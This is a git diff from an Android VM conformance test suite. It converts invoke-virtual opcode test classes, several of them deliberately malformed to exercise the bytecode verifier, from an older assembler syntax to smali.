--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_10.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-virtual {v0}, dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali
new file mode 100644
index 0000000..a9da3d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual {v0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d
deleted file mode 100644
index 68ca8c7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_11.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali
new file mode 100644
index 0000000..9be2f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d
deleted file mode 100644
index 8068732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_12.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v5, v7}, dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_12/test(Ljava/lang/String;)V
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali
new file mode 100644
index 0000000..e66dbe4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v5, v7}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d
deleted file mode 100644
index dcf28f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_13.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali
new file mode 100644
index 0000000..cb93839
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d
deleted file mode 100644
index 743ddf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_14.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_14
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v3, 300
-    const v4, 3
-
-    invoke-virtual {v6, v3, v4}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali
new file mode 100644
index 0000000..91af3bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-virtual {v6, v3, v4}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d
deleted file mode 100644
index ad196c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_15.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15/testN()V
-       return-void
-.end method
-
-.method public test()V
-.limit regs 1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali
new file mode 100644
index 0000000..26b4618
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d
deleted file mode 100644
index 0f0ab56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_16.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-virtual {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali
new file mode 100644
index 0000000..eaa2c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d
deleted file mode 100644
index da55ec7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_17.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_17
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali
new file mode 100644
index 0000000..9a6b02e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d
deleted file mode 100644
index 32097da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_18.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
-.limit regs 5
-       invoke-virtual {v4}, dot/junit/opcodes/invoke_virtual/TestStubs/TestStub()V
-Label6:
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali
new file mode 100644
index 0000000..8d52784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStub()V
+:Label6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d
deleted file mode 100644
index ce0b550..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_19.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_19
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 1
-       invoke-virtual {v3, v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali
new file mode 100644
index 0000000..cf571ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-virtual {v3, v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d
deleted file mode 100644
index f655091..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_20.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
-.limit regs 5
-Label0:
-
-       invoke-virtual {v4}, dot/junit/opcodes/invoke_virtual/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali
new file mode 100644
index 0000000..d96b8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali
@@ -0,0 +1,35 @@
